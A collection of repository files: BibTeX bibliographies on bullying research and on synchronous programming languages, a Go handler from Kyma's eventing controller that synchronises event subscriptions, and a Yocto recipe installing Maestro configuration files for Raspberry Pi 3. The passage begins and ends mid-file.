	abstract = {Journalists and readers of celebrity news regularly bash celebrities online, a behavior that is easily accepted among adolescents. This study investigates whether these attitudes of acceptance differ according to the perpetrator of the bashing (media versus public) and the likeability of the involved celebrity (liked versus disliked). Using a vignette study, we examine adolescent girls’ attitudes toward media (journalists’) and public (readers’) bashing of a generally disliked celebrity (Miley Cyrus) and a generally liked celebrity (Selena Gomez). All participants read an identical negative news story (media bashing) and two related negative reader comments (public bashing). Participants were randomly assigned to read this information about either Miley Cyrus or Selena Gomez. Results of a mixed-design ANOVA showed that the girls had less negative attitudes toward media bashing compared with public bashing. Moreover, they more easily accepted the bashing of a disliked celebrity than the bashing of a liked celebrity.},
	language = {en},
	number = {3},
	urldate = {2020-08-22},
	journal = {Communication Research Reports},
	author = {Ouvrein, Gaëlle and Pabian, Sara and Machimbarrena, Juan Manuel and De Backer, Charlotte J.S. and Vandebosch, Heidi},
	month = may,
	year = {2018},
	pages = {261--271},
	file = {Accepted Version:C\:\\Users\\mmach\\Zotero\\storage\\U5TNBSTG\\Ouvrein et al. - 2018 - Online Celebrity Bashing Wrecking Ball or Good fo.pdf:application/pdf}
}

@article{machimbarrena_prevalence_2018,
	title = {Prevalence of {Bullying} and {Cyberbullying} in the {Last} {Stage} of {Primary} {Education} in the {Basque} {Country}},
	volume = {21},
	issn = {1138-7416, 1988-2904},
	url = {https://www.cambridge.org/core/product/identifier/S1138741618000410/type/journal_article},
	doi = {10.1017/sjp.2018.41},
	abstract = {Bullying and cyberbullying pose a serious problem in our schools. Despite this research area’s increasing relevance, most research into cyberbullying in the present day has focused only on adolescents. However, given the long-lasting effects of victimization, it is necessary to understand its prevalence throughout the different educational stages of students. This study aims to clarify the prevalence of bullying and cyberbullying among students in the 5th and 6th grades. A sample of 1,993 (Mage = 10.68, SD = 0.71; range 9–13) students completed the “Cyberbullying: Screening of Peer-Harassment” test. The results reveal that 20.3\% (n = 404) were pure victims, 6.1\% (n = 121) pure bullies, 23.9\% (n = 476) bully-victims, and 28.9\% (n = 575) pure bystanders of bullying. With respect to cyberbullying, 13.4\% (n = 267) were pure cybervictims, 0.7\% (n = 13) pure cyberbullies, 3.1\% cyberbully-victims (n = 62), and 25.6\% (n = 510) pure cyberbystanders. In addition, the results reveal that verbal aggression and offensive or insulting messages were the most prevalent forms of aggression in bullying and cyberbullying, respectively. 36.6\% of the sample had suffered verbal aggression and 8.4\% had received offending or insulting messages. These data show that bullying and cyberbullying are considerably prevalent in this educational stage.},
	language = {en},
	urldate = {2020-08-22},
	journal = {The Spanish Journal of Psychology},
	author = {Machimbarrena, Juan Manuel and Garaigordobil, Maite},
	year = {2018},
	pages = {E48},
	file = {Full Text:C\:\\Users\\mmach\\Zotero\\storage\\ESM6WJ74\\Machimbarrena and Garaigordobil - 2018 - Prevalence of Bullying and Cyberbullying in the La.pdf:application/pdf}
}

@article{machimbarrena_bullying_2018-1,
	title = {Bullying y cyberbullying: diferencias en función del sexo en estudiantes de quinto y sexto curso de educación primaria},
	volume = {25},
	issn = {01214381, 21459797},
	shorttitle = {Bullying y cyberbullying},
	url = {http://editorial.konradlorenz.edu.co/2018/08/bullying-y-cyberbullying-diferencias-en-funcion-del-sexo-en-estudiantes-de-quinto-y-sexto-curso-de-educacion-primaria.html},
	doi = {10.14349/sumapsi.2018.v25.n2.2},
	abstract = {Objetivo. Revisar los estudios que han analizado la relación de bullying/cyberbullying con variables delcontexto familiar. Método. Revisión sistemática, basada en el protocolo Prisma, de los documentos registrados en las principales bases de datos de psicología, que incluían las palabras clave bullying/cyberbullying y familia/padres, entre 2004 y 2017. Setenta y cuatro artículos cumplieron los criterios de inclusión. Resultados. La revisión evidenció las siguientes variables familiares asociadas con cada rol: (a) víctimas de bullying: padres/madres autoritarios, punitivos o permisivos; hogares disfuncionales, baja armonía familiar, conflictos, pobre comunicación; reciben muchas críticas, bajo apoyo/atención parental o sobreprotección; (b) cibervíctimas: padres/madres autoritarios o negligentes, conflictos familiares, bajo apoyo parental, padres/madres distantes, vínculos emocionales negativos; (c) agresores de bullying: padres/madres autoritarios, punitivos o permisivos, hogares disfuncionales, conflictos entre padres/madres, violencia doméstica, reciben rechazo, crítica y poco afecto parental; (d) ciberagresores: padres/madres autoritarios, negligentes o permisivos, y conflictos familiares. Por último, resultaron factores protectores: padres/madres democráticas, equilibrados, sin conflictos domésticos, cohesión familiar, interacciones de calidad, fácil comunicación padres-hijos, padres/madres apoyan a sus hijos, son cercanos y fomentan el apego seguro. Conclusión. Algunas variables familiares pueden ser relevantes, aunque en la probabilidad de convertirse en víctima o agresor de bullying y cyberbullying influyan otros factores, como los personales.},
	number = {2},
	urldate = {2020-08-22},
	journal = {Suma Psicológica},
	author = {Machimbarrena, Juan Manuel and González-Cabrera, Joaquin and Garaigordobil, Maite},
	month = nov,
	year = {2018},
	file = {Full Text:C\:\\Users\\mmach\\Zotero\\storage\\HPVFISVM\\Universidad del País Vasco et al. - 2018 - Bullying y cyberbullying diferencias en función d.pdf:application/pdf}
}

@article{ouvrein_setting_2019,
	title = {Setting a {Bad} {Example}: {Peer}, {Parental}, and {Celebrity} {Norms} {Predict} {Celebrity} {Bashing}},
	volume = {39},
	issn = {0272-4316, 1552-5449},
	shorttitle = {Setting a {Bad} {Example}},
	url = {http://journals.sagepub.com/doi/10.1177/0272431618797010},
	doi = {10.1177/0272431618797010},
	abstract = {The present study investigated the effect of descriptive and injunctive norms of peers, parents, and favorite celebrities on adolescents’ negative online behavior toward celebrities. The sample consisted of 1,255 adolescents ([Formula: see text] = 14.17, SD = 0.47). Adolescents indicated what their peers, parents, and favorite celebrities think of celebrity bashing (injunctive norms) and whether they engage in it (descriptive norms). The adolescents also indicated how often they had participated in negative online behavior toward celebrities and peers. The results revealed that compared with injunctive norms, descriptive norms are better predictors of adolescents’ negative online behavior toward celebrities. Focusing on the different role models, the impact of peers was the strongest for both mild and severe forms of celebrity aggression. Moreover, the results showed that adolescents who engage in negative online behavior directed at celebrities are likely to do the same regarding peers.},
	language = {en},
	number = {7},
	urldate = {2020-08-22},
	journal = {The Journal of Early Adolescence},
	author = {Ouvrein, Gaëlle and Pabian, Sara and Machimbarrena, Juan Manuel and Erreygers, Sara and De Backer, Charlotte J. S. and Vandebosch, Heidi},
	month = aug,
	year = {2019},
	pages = {937--961},
	file = {Accepted Version:C\:\\Users\\mmach\\Zotero\\storage\\PXJCCXEP\\Ouvrein et al. - 2019 - Setting a Bad Example Peer, Parental, and Celebri.pdf:application/pdf}
}

@article{gonzalez-cabrera_relationship_2018,
	title = {Relationship between cyberbullying and health-related quality of life in a sample of children and adolescents},
	volume = {27},
	issn = {0962-9343, 1573-2649},
	url = {http://link.springer.com/10.1007/s11136-018-1901-9},
	doi = {10.1007/s11136-018-1901-9},
	abstract = {Purpose: Health-related quality of life (HRQoL) is a well-known construct that refers to a state of complete physical, mental, and social well-being. Its relationship with multiple forms of violence, including bullying, has been widely explored, but this is not the case for cyberbullying. The main objective is to analyze how HRQoL varies depending on the role played in cyberbullying, its temporal stability, and gender and age differences.
Method: An analytical and longitudinal study was conducted at two temporal moments. At Time 1 (December 2015), 920 Spanish students aged between 11 and 18 years participated (Mage = 13.36, SD = 1.83: 48.9\% boys and 51.1\% girls). At Time 2 (April 2016), there were 313 participants (Mage 12.81 years, SD = 1.59: 53.4\% boys and 46.6\% girls). We used the Cyberbullying Test (technological scale) and the Spanish version of the KIDSCREEN-52.
Results: Cybervictims and cyberbully–victims present worse scores in all dimensions of the KIDSCREEN-52 (p {\textless} .001), compared to cyberbystanders or uninvolved individuals. There are gender differences only in cyberaggression and cyberbystanding. There are significant inverse correlations between all the dimensions of the KIDSCREEN-52 and cybervictimization, with Bullying (r = − .603, p {\textless} .001), Mood (r = − .329, p {\textless} .001), and School environment (r = − .327, p {\textless} .001) being particularly relevant. There were statistically significant differences between T1 and T2 for cyberbystanding (lower scores at T2).
Conclusion: Cybervictims and cyberbully–victims have worse quality of life in all the dimensions than uninvolved individuals, especially in Psychological well-being, School environment, and Bullying.},
	language = {en},
	number = {10},
	urldate = {2020-08-22},
	journal = {Quality of Life Research},
	author = {González-Cabrera, Joaquin and León-Mejía, Ana and Beranuy, Marta and Gutiérrez-Ortega, Monica and Alvarez-Bardón, Aitor and Machimbarrena, Juan Manuel},
	month = oct,
	year = {2018},
	pages = {2609--2618}
}

@article{machimbarrena_bullyingcyberbullying_2017,
	title = {Bullying/{Cyberbullying} en quinto y sexto curso de primaria: diferencias entre centros públicos y privados},
	volume = {33},
	issn = {1695-2294, 0212-9728},
	shorttitle = {Bullying/{Cyberbullying} en quinto y sexto curso de primaria},
	url = {http://revistas.um.es/analesps/article/view/analesps.33.2.249381},
	doi = {10.6018/analesps.33.2.249381},
	abstract = {The study aimed to analyse the prevalence of bullying/cyberbullying and to study the level of bullying/cyberbullying suffered, perpetrated and observed in public and private schools. Using a descriptive cross-sectional design, the test "Cyberbullying: Screening of peer harassment” was administered to a sample of 1,993 pupils from the Basque Country attending 5$^{\textrm{th}}$ and 6$^{\textrm{th}}$ grade of elementary school, 49\% in public and 51\% in private schools. The results revealed that: (1) There were no statistical differences between public or private schools in the percentage of pure-victims, pure-aggressors, bully-victims and observers either in bullying or in cyberbullying; (2) Nevertheless, when analyzing victims or perpetrators in general (not just pure-victims/pure-aggressors), the percentage of students who had suffered physical, verbal, social and psychological abuse; who had physically and verbally assaulted others; and who had observed physical, verbal and psychological aggression was significantly higher in public schools; (3) In public schools, cybervictims suffered significantly more of four out of fifteen cyberbullying behaviours, and cyberobservers also witnessed one behaviour significantly more; (4) The level of abuse suffered in bullying/cyberbullying was significantly higher in public schools, as well as the level of aggressive behaviours observed in face-to-face aggressions. These results reveal that the type of school can be a relevant factor.},
	number = {2},
	urldate = {2020-08-22},
	journal = {Anales de Psicología},
	author = {Machimbarrena, Juan Manuel and Garaigordobil, Maite},
	month = mar,
	year = {2017},
	pages = {319},
	file = {Full Text:C\:\\Users\\mmach\\Zotero\\storage\\SECV2KSA\\Machimbarrena and Garaigordobil - 2017 - BullyingCyberbullying en quinto y sexto curso de .pdf:application/pdf}
}

@article{garaigordobil_intervencion_2017,
	title = {Intervención en el bullying y cyberbullying: {Evaluación} del caso {Martín}},
	volume = {4},
	shorttitle = {Intervención en el bullying y cyberbullying},
	url = {https://dialnet.unirioja.es/servlet/articulo?codigo=5789316},
	abstract = {El estudio realizado tuvo como objetivos: (1) Evaluar el nivel de bullying/cyberbullying en un adolescente agresor de 14 años; (2) Implementar un programa para prevenir/reducir el bullying/cyberbullying “Cyberprogram 2.0”; y (3) Evaluar los efectos del programa en la disminución de la conducta violenta de este adolescente agresor y en otras variables sociales y emocionales. El diseño de la investigación fue cuasi-experimental de caso único.

Al inicio del curso escolar se administró una evaluación pretest, aplicando el test Cyberbullying, un screening de acoso entre iguales (Garaigordobil, 2013) junto con otros instrumentos para medir variables socio-emocionales (conducta social, estrategias de resolución de conflictos, autoestima, empatía). Posteriormente, se administró Cyberprogram 2.0 (Garaigordobil \& Martínez-Valderrey, 2014a) un programa grupal que consistió en realizar una sesión de intervención semanal de una hora de duración durante un curso escolar. Finalmente, se llevó a cabo la evaluación postest administrando la misma batería de evaluación que en el pretest. Los resultados mostraron que Martin en la fase pretest tenía altas puntuaciones en perpetración de bullying y cyberbullying, altos niveles de agresividad impulsiva/premeditada, alta utilización de estrategias agresivas de resolución de conflictos, un nivel medio de autoestima y muy baja empatía. Después de realizar Cyberprogram 2.0. Martín disminuyó significativamente el nivel de perpetración de bullying/cyberbullying, su agresividad, redujo el uso de estrategias agresivas para resolver problemas interpersonales y mostró un nivel medio de empatía. El estudio evidencia la eficacia de un programa de intervención grupal en la reducción de la violencia entre iguales de los perpetradores.},
	language = {spa},
	number = {1},
	urldate = {2020-08-22},
	journal = {Revista de Psicología Clínica con Niños y Adolescentes},
	author = {Garaigordobil, Maite and Martinez-Valderrey, Vanesa and Machimbarrena, Juan Manuel},
	year = {2017},
	note = {Publisher: Espada Sánchez, José Pedro
Section: Revista de Psicología Clínica con Niños y Adolescentes},
	pages = {25--32},
	file = {Full Text PDF:C\:\\Users\\mmach\\Zotero\\storage\\QC33LT7X\\Landazabal et al. - 2017 - Intervención en el bullying y cyberbullying Evalu.pdf:application/pdf;Snapshot:C\:\\Users\\mmach\\Zotero\\storage\\IQLICWNU\\articulo.html:text/html}
}

@article{garaigordobil_childhood_2017,
	title = {Childhood {Depression}: {Relation} to {Adaptive}, {Clinical} and {Predictor} {Variables}},
	volume = {8},
	issn = {1664-1078},
	shorttitle = {Childhood {Depression}},
	url = {http://journal.frontiersin.org/article/10.3389/fpsyg.2017.00821/full},
	doi = {10.3389/fpsyg.2017.00821},
	abstract = {The study had two goals: (1) to explore the relations between self-assessed childhood depression and other adaptive and clinical variables (2) to identify predictor variables of childhood depression. Participants were 420 students aged 7–10 years old (53.3\% boys, 46.7\% girls). Results revealed: (1) positive correlations between depression and clinical maladjustment, school maladjustment, emotional symptoms, internalizing and externalizing problems, problem behaviors, emotional reactivity, and childhood stress; and (2) negative correlations between depression and personal adaptation, global self-concept, social skills, and resilience (sense of competence and affiliation). Linear regression analysis including the global dimensions revealed 4 predictors of childhood depression that explained 50.6\% of the variance: high clinical maladjustment, low global self-concept, high level of stress, and poor social skills. However, upon introducing the sub-dimensions, 9 predictor variables emerged that explained 56.4\% of the variance: many internalizing problems, low family self-concept, high anxiety, low responsibility, low personal self-assessment, high social stress, few aggressive behaviors toward peers, many health/psychosomatic problems, and external locus of control. The discussion addresses the importance of implementing prevention programs for childhood depression at early ages.},
	urldate = {2020-08-22},
	journal = {Frontiers in Psychology},
	author = {Garaigordobil, Maite and Bernarás, Elena and Jaureguizar, Joana and Machimbarrena, Juan Manuel},
	month = may,
	year = {2017},
	pages = {821},
	file = {Full Text:C\:\\Users\\mmach\\Zotero\\storage\\C6HW7G8T\\Garaigordobil et al. - 2017 - Childhood Depression Relation to Adaptive, Clinic.pdf:application/pdf}
}

@article{garaigordobil_stress_2017,
	title = {Stress, competence, and parental educational styles in victims and aggressors of bullying and cyberbullying},
	volume = {29},
	url = {http://doi.org/10.7334/psicothema2016.258},
	doi = {10.7334/psicothema2016.258},
	abstract = {The family can be a protective/risk factor for violence. The study analyzes differences in family variables (parental stress, parental competence and parenting styles) among severe student victims, aggressors, cybervictims, and cyberaggressors (who have very frequently suffered or carried out bullying/cyberbullying behaviors in the past year) and those who have neither suffered nor carried out any aggressive behavior or only occasionally. Method: Participants were 1,993 students in the 5th-6th grade (9-13 years old). Results: Victims and aggressors of bullying had parents with higher levels of parental stress, who used more authoritarian educational styles (low affection, coercive discipline, high control), and more permissive practices (high affection/overprotection, low demand/control); parents of aggressors also had a lower level of parental competence. Cybervictims had parents with higher parental stress who used more permissive educational styles. Cyberaggressors had parents with a low level of parental competence. Conclusions: The family context is relevant for bullying/cyberbullying, but family variables have more influence on bullying than on cyberbullying.},
	number = {3},
	urldate = {2020-08-22},
	journal = {Psicothema},
	author = {Garaigordobil, Maite and Machimbarrena, Juan Manuel},
	month = aug,
	year = {2017},
	pages = {335--340}
}

@article{garaigordobil_adaptacion_2016,
	title = {Adaptación española de un instrumento para evaluar la resolución de conflictos ({Conflictalk}): {Datos} psicométricos de fiabilidad y validez},
	volume = {3},
	shorttitle = {Adaptación española de un instrumento para evaluar la resolución de conflictos ({Conflictalk})},
	url = {https://dialnet.unirioja.es/servlet/articulo?codigo=5590675},
	abstract = {El estudio tuvo como objetivo realizar la adaptación española de un instrumento que mide las estrategias que se utilizan para resolver conflictos (Conflictalk). La muestra fue de 2283 adolescentes del País Vasco, España (50.5\% varones, 49.5\% mujeres), de 12 a 17 años. Con un diseño descriptivo, comparativo y correlacional se administraron 8 instrumentos de evaluación. Los resultados evidenciaron alta consistencia interna. Los análisis de varianza confirmaron que las mujeres tienen puntuaciones superiores en estrategias cooperativas y pasivas de resolución de conflictos, y los varones en agresivas. De 12 a 17 años el uso de las estrategias fue similar. Las coeficientes de correlación sugieren que los adolescentes que utilizan muchas estrategias cooperativas tienen altos niveles de empatía, inteligencia emocional, extraversión, apertura, amabilidad y responsabilidad, mientras que aquellos que utilizan muchas estrategias agresivas tiene baja empatía, baja autoestima, alta inestabilidad emocional, baja amabilidad, baja responsabilidad, muchas conductas antisociales, altas puntuaciones en victimización y perpetración de bullying y cyberbullying, muchos problemas escolares y baja adaptación social. El estudio aporta fiabilidad y validez a la adaptación española del Conflictalk.},
	language = {spa},
	number = {2},
	urldate = {2020-08-22},
	journal = {Revista de Psicología Clínica con Niños y Adolescentes},
	author = {Garaigordobil, Maite and Machimbarrena, Juan Manuel and Maganto, Carmen},
	year = {2016},
	note = {Publisher: Espada Sánchez, José Pedro
Section: Revista de Psicología Clínica con Niños y Adolescentes},
	pages = {59--67},
	file = {Full Text PDF:C\:\\Users\\mmach\\Zotero\\storage\\KJQ4MJMM\\Landazabal et al. - 2016 - Adaptación española de un instrumento para evaluar.pdf:application/pdf;Snapshot:C\:\\Users\\mmach\\Zotero\\storage\\LASJ7TBU\\articulo.html:text/html}
}

repository: mmachimbarrena/Pruebaweb

repo_name: mmachimbarrena/Pruebaweb


text:
package handlers

import (
	"fmt"
	"net/http"

	"github.com/go-logr/logr"

	apigatewayv1alpha1 "github.com/kyma-incubator/api-gateway/api/v1alpha1"
	eventingv1alpha1 "github.com/kyma-project/kyma/components/eventing-controller/api/v1alpha1"
	"github.com/kyma-project/kyma/components/eventing-controller/pkg/ems/api/events/client"
	"github.com/kyma-project/kyma/components/eventing-controller/pkg/ems/api/events/config"
	"github.com/kyma-project/kyma/components/eventing-controller/pkg/ems/api/events/types"
	"github.com/kyma-project/kyma/components/eventing-controller/pkg/ems/auth"
	"github.com/kyma-project/kyma/components/eventing-controller/pkg/env"
	"github.com/kyma-project/kyma/components/eventing-controller/pkg/handlers/eventtype"
)

// compile time check
var _ Interface = &Beb{}

type Interface interface {
	Initialize(cfg env.Config)
	SyncBebSubscription(subscription *eventingv1alpha1.Subscription, apiRule *apigatewayv1alpha1.APIRule, cleaner eventtype.Cleaner) (bool, error)
	DeleteBebSubscription(subscription *eventingv1alpha1.Subscription) error
}

type Beb struct {
	Client      *client.Client
	WebhookAuth *types.WebhookAuth
	Log         logr.Logger
}

type BebResponse struct {
	StatusCode int
	Error      error
}

func (b *Beb) Initialize(cfg env.Config) {
	if b.Client == nil {
		authenticator := auth.NewAuthenticator(cfg)
		b.Client = client.NewClient(config.GetDefaultConfig(cfg.BebApiUrl), authenticator)
		b.WebhookAuth = getWebHookAuth(cfg)
	}
}

// getWebHookAuth returns the webhook auth config from the given env config
// or returns an error if the env config contains invalid grant type or auth type.
func getWebHookAuth(cfg env.Config) *types.WebhookAuth {
	return &types.WebhookAuth{
		ClientID:     cfg.WebhookClientID,
		ClientSecret: cfg.WebhookClientSecret,
		TokenURL:     cfg.WebhookTokenEndpoint,
		Type:         types.AuthTypeClientCredentials,
		GrantType:    types.GrantTypeClientCredentials,
	}
}

// SyncBebSubscription synchronize the EV2 subscription with the EMS subscription. It returns true, if the EV2 subscription status was changed
func (b *Beb) SyncBebSubscription(subscription *eventingv1alpha1.Subscription, apiRule *apigatewayv1alpha1.APIRule, cleaner eventtype.Cleaner) (bool, error) {
	// get the internal view for the ev2 subscription
	var statusChanged = false
	sEv2, err := getInternalView4Ev2(subscription, apiRule, b.WebhookAuth)
	if err != nil {
		b.Log.Error(err, "failed to get internal view for ev2 subscription", "name:", subscription.Name)
		return false, err
	}
	newEv2Hash, err := getHash(sEv2)
	if err != nil {
		b.Log.Error(err, "failed to get the hash value", "subscription name", sEv2.Name)
		return false, err
	}
	var emsSubscription *types.Subscription
	// check the hash values for ev2 and ems
	if newEv2Hash != subscription.Status.Ev2hash {
		// delete & create a new Ems subscription
		var newEmsHash int64
		emsSubscription, newEmsHash, err = b.deleteCreateAndHashSubscription(sEv2, cleaner)
		if err != nil {
			return false, err
		}
		subscription.Status.Ev2hash = newEv2Hash
		subscription.Status.Emshash = newEmsHash
		statusChanged = true
	} else {
		// check if ems subscription is the same as in the past
		emsSubscription, err = b.getSubscription(sEv2.Name)
		if err != nil {
			b.Log.Error(err, "failed to get ems subscription", "subscription name", sEv2.Name)
			return false, err
		}
		// get the internal view for the ems subscription
		sEms, err := getInternalView4Ems(emsSubscription)
		if err != nil {
			b.Log.Error(err, "failed to get internal view for ems subscription", "subscription name:", emsSubscription.Name)
			return false, err
		}
		newEmsHash, err := getHash(sEms)
		if err != nil {
			b.Log.Error(err, "failed to get the hash value for ems subscription", "subscription", sEms.Name)
			return false, err
		}
		if newEmsHash != subscription.Status.Emshash {
			// delete & create a new Ems subscription
			emsSubscription, newEmsHash, err = b.deleteCreateAndHashSubscription(sEv2, cleaner)
			if err != nil {
				return false, err
			}
			subscription.Status.Emshash = newEmsHash
			statusChanged = true
		}
	}
	// set the status of emsSubscription in ev2Subscription
	statusChanged = b.setEmsSubscriptionStatus(subscription, emsSubscription) || statusChanged

	return statusChanged, nil
}

// DeleteBebSubscription deletes the corresponding EMS subscription
func (b *Beb) DeleteBebSubscription(subscription *eventingv1alpha1.Subscription) error {
	return b.deleteSubscription(subscription.Name)
}

func (b *Beb) deleteCreateAndHashSubscription(subscription *types.Subscription, cleaner eventtype.Cleaner) (*types.Subscription, int64, error) {
	// delete Ems subscription
	if err := b.deleteSubscription(subscription.Name); err != nil {
		b.Log.Error(err, "delete ems subscription failed", "subscription name:", subscription.Name)
		return nil, 0, err
	}

	// clean the application name segment in the subscription event-types from none-alphanumeric characters
	if err := cleanEventTypes(subscription, cleaner); err != nil {
		b.Log.Error(err, "clean application name in the subscription event-types failed", "subscription name:", subscription.Name)
		return nil, 0, err
	}

	// create a new Ems subscription
	if err := b.createSubscription(subscription); err != nil {
		b.Log.Error(err, "create ems subscription failed", "subscription name:", subscription.Name)
		return nil, 0, err
	}

	// get the new Ems subscription
	emsSubscription, err := b.getSubscription(subscription.Name)
	if err != nil {
		b.Log.Error(err, "failed to get ems subscription", "subscription name", subscription.Name)
		return nil, 0, err
	}

	// get the new hash
	sEms, err := getInternalView4Ems(emsSubscription)
	if err != nil {
		b.Log.Error(err, "failed to get internal view for ems subscription", "subscription name:", emsSubscription.Name)
	}
	newEmsHash, err := getHash(sEms)
	if err != nil {
		b.Log.Error(err, "failed to get the hash value for ems subscription", "subscription", sEms.Name)
		return nil, 0, err
	}

	return emsSubscription, newEmsHash, nil
}

// cleanEventTypes cleans the application name segment in the subscription event-types from none-alphanumeric characters
// note: the given subscription instance will be updated with the cleaned event-types
func cleanEventTypes(subscription *types.Subscription, cleaner eventtype.Cleaner) error {
	events := make(types.Events, 0, len(subscription.Events))
	for _, event := range subscription.Events {
		eventType, err := cleaner.Clean(event.Type)
		if err != nil {
			return err
		}
		events = append(events, types.Event{Source: event.Source, Type: eventType})
	}
	subscription.Events = events
	return nil
}

// setEmsSubscriptionStatus sets the status of emsSubscription in ev2Subscription
func (b *Beb) setEmsSubscriptionStatus(subscription *eventingv1alpha1.Subscription, emsSubscription *types.Subscription) bool {
	var statusChanged = false
	if subscription.Status.EmsSubscriptionStatus.SubscriptionStatus != string(emsSubscription.SubscriptionStatus) {
		subscription.Status.EmsSubscriptionStatus.SubscriptionStatus = string(emsSubscription.SubscriptionStatus)
		statusChanged = true
	}
	if subscription.Status.EmsSubscriptionStatus.SubscriptionStatusReason != emsSubscription.SubscriptionStatusReason {
		subscription.Status.EmsSubscriptionStatus.SubscriptionStatusReason = emsSubscription.SubscriptionStatusReason
		statusChanged = true
	}
	if subscription.Status.EmsSubscriptionStatus.LastSuccessfulDelivery != emsSubscription.LastSuccessfulDelivery {
		subscription.Status.EmsSubscriptionStatus.LastSuccessfulDelivery = emsSubscription.LastSuccessfulDelivery
		statusChanged = true
	}
	if subscription.Status.EmsSubscriptionStatus.LastFailedDelivery != emsSubscription.LastFailedDelivery {
		subscription.Status.EmsSubscriptionStatus.LastFailedDelivery = emsSubscription.LastFailedDelivery
		statusChanged = true
	}
	if subscription.Status.EmsSubscriptionStatus.LastFailedDeliveryReason != emsSubscription.LastFailedDeliveryReason {
		subscription.Status.EmsSubscriptionStatus.LastFailedDeliveryReason = emsSubscription.LastFailedDeliveryReason
		statusChanged = true
	}
	return statusChanged
}

func (b *Beb) getSubscription(name string) (*types.Subscription, error) {
	b.Log.Info("BEB getSubscription()", "subscription name:", name)
	emsSubscription, resp, err := b.Client.Get(name)
	if err != nil {
		return nil, fmt.Errorf("failed to get subscription with error: %v", err)
	}
	if resp.StatusCode != http.StatusOK {
		return nil, fmt.Errorf("failed to get subscription with error: %v; %v", resp.StatusCode, resp.Message)
	}
	return emsSubscription, nil
}

func (b *Beb) deleteSubscription(name string) error {
	b.Log.Info("BEB deleteSubscription()", "subscription name:", name)
	resp, err := b.Client.Delete(name)
	if err != nil {
		return fmt.Errorf("failed to delete subscription with error: %v", err)
	}
	if resp.StatusCode != http.StatusNoContent && resp.StatusCode != http.StatusNotFound {
		return fmt.Errorf("failed to delete subscription with error: %v; %v", resp.StatusCode, resp.Message)
	}
	return nil
}

func (b *Beb) createSubscription(subscription *types.Subscription) error {
	b.Log.Info("BEB createSubscription()", "subscription name:", subscription.Name)
	createResponse, err := b.Client.Create(subscription)
	if err != nil {
		return fmt.Errorf("failed to create subscription with error: %v", err)
	}
	if createResponse.StatusCode > http.StatusAccepted && createResponse.StatusCode != http.StatusConflict {
		return fmt.Errorf("failed to create subscription with error: %v", createResponse)
	}
	return nil
}

repository: sayanh/kyma

license_type: permissive

repo_name: sayanh/kyma

branch_name: refs/heads/master

gha_language: Go

extension: go


text:
require maestro_0.0.1.inc

COMPATIBLE_MACHINE = "raspberrypi3"

PROVIDES += " maestro "
RPROVIDES_${PN} += " maestro "

FILESEXTRAPATHS_prepend := "${THISDIR}/maestro/rpi3:"
SRC_URI += "file://maestro-config-rpi3bplus.yaml \
            file://devicejs.template.conf \
            file://devicedb.template.conf \
            file://radioProfile.template.json \
            file://relayTerm.template.json \
            "

do_install_append() {
    # Maestro configuration management
    install -d ${D}/${RUN_CONFIG_DIR}
    install -d ${D}/${TEMPLATE_CONFIG_DIR}
    install -m 0644 ${WORKDIR}/maestro-config-rpi3bplus.yaml ${D}/${RUN_CONFIG_DIR}/maestro-config.yaml
    install -m 0644 ${WORKDIR}/devicejs.template.conf ${D}/${TEMPLATE_CONFIG_DIR}/devicejs.template.conf
    install -m 0644 ${WORKDIR}/devicedb.template.conf ${D}/${TEMPLATE_CONFIG_DIR}/devicedb.template.conf
    install -m 0644 ${WORKDIR}/relayTerm.template.json ${D}/${TEMPLATE_CONFIG_DIR}/relayTerm.template.json
    install -m 0644 ${WORKDIR}/radioProfile.template.json ${D}/${TEMPLATE_CONFIG_DIR}/radioProfile.template.json
}

repository: esajaa/meta-pelion-edge

repo_name: esajaa/meta-pelion-edge

extension: bb


text:
% Encoding: UTF-8

@InProceedings{rasco_emsoft13,
  label     = {EMSOFT13},
  author    = {G. Baudart and F. Jacquemard and L. Mandel and M. Pouzet},
  title     = {A Synchronous Embedding of {Antescofo}, a Domain-Specific Language for Interactive Mixed Music},
  booktitle = {EMSOFT},
  year      = {2013},
  month     = oct,
  address   = {Montreal, Canada},
  note      = {Best paper nominee.},
  file      = {./papers/emsoft13.pdf},
  url       = {http://reactiveml.org/emsoft13},
}

@InProceedings{rasco_farm13,
  label     = {FARM13},
  author    = {G. Baudart and L. Mandel and M. Pouzet},
  title     = {Programming Mixed Music in {ReactiveML}},
  booktitle = {ICFP FARM},
  year      = {2013},
  month     = sep,
  address   = {Boston, USA},
  file      = {./papers/farm13.pdf},
  url       = {http://reactiveml.org/farm13},
}

@TechReport{ltta_rr14,
  label       = {INRIA14},
  author      = {G. Baudart and A. Benveniste and A. Bouillard and P. Caspi},
  title       = {{A Unifying View of Loosely Time-Triggered Architectures}},
  institution = {INRIA},
  year        = {2014},
  type        = {Research Report},
  number      = {RR-8494},
  note        = {Corrected version of a paper which appeared at EMSOFT'10.},
  file        = {./papers/RR-LTTA.pdf},
  url         = {http://hal.inria.fr/hal-00955496</a>},
}

@InProceedings{ltta_emsoft15,
  label     = {EMSOFT15},
  author    = {G. Baudart and A. Benveniste and T. Bourke},
  title     = {{Loosely Time-Triggered Architectures: Improvements and Comparisons}},
  booktitle = {EMSOFT},
  year      = {2015},
  month     = oct,
  address   = {Amsterdam, The Netherlands},
  note      = {Best paper nominee.},
  file      = {./papers/emsoft15.pdf},
}

@Article{ltta_tecs16,
  label      = {TECS16},
  author     = {G. Baudart and A. Benveniste and T. Bourke},
  title      = {{Loosely Time-Triggered Architectures: Improvements and Comparison}},
  journal    = {TECS},
  year       = {2016},
  volume     = {15},
  number     = {4},
  pages      = {71:1--71:26},
  month      = aug,
  articleno  = {71},
  file       = {./papers/tecs16.pdf},
  issue_date = {August 2016},
}
}

@InProceedings{quasi_fmcad16,
  label     = {FMCAD16},
  author    = {G. Baudart and T. Bourke and M. Pouzet},
  title     = {{Soundness of the Quasi-Synchronous Abstraction}},
  booktitle = {FMCAD},
  year      = {2016},
  month     = oct,
  address   = {Mountain View, USA},
  file      = {./papers/fmcad16.pdf},
}

@InProceedings{cloudlens_jfla17,
  label     = {JFLA17},
  author    = {G. Baudart and L. Mandel and O. Tardieu and M. Vaziri},
  title     = {{CloudLens}, Un langage de script pour l'analyse de données semi-structurées},
  booktitle = {JFLA},
  year      = {2017},
  address   = {Gourette, France},
  month     = jan,
  file      = {./papers/jfla17.pdf},
}

@PhdThesis{phd,
  label  = {PHD17},
  author = {G. Baudart},
  title  = {A Synchronous Approach to Quasi-Periodic Systems},
  school = {École Normale Supérieure},
  year   = {2017},
  file   = {./thesis/baudart-thesis.pdf},
}

@InProceedings{symb_fdl17,
  label  = {FDL17},
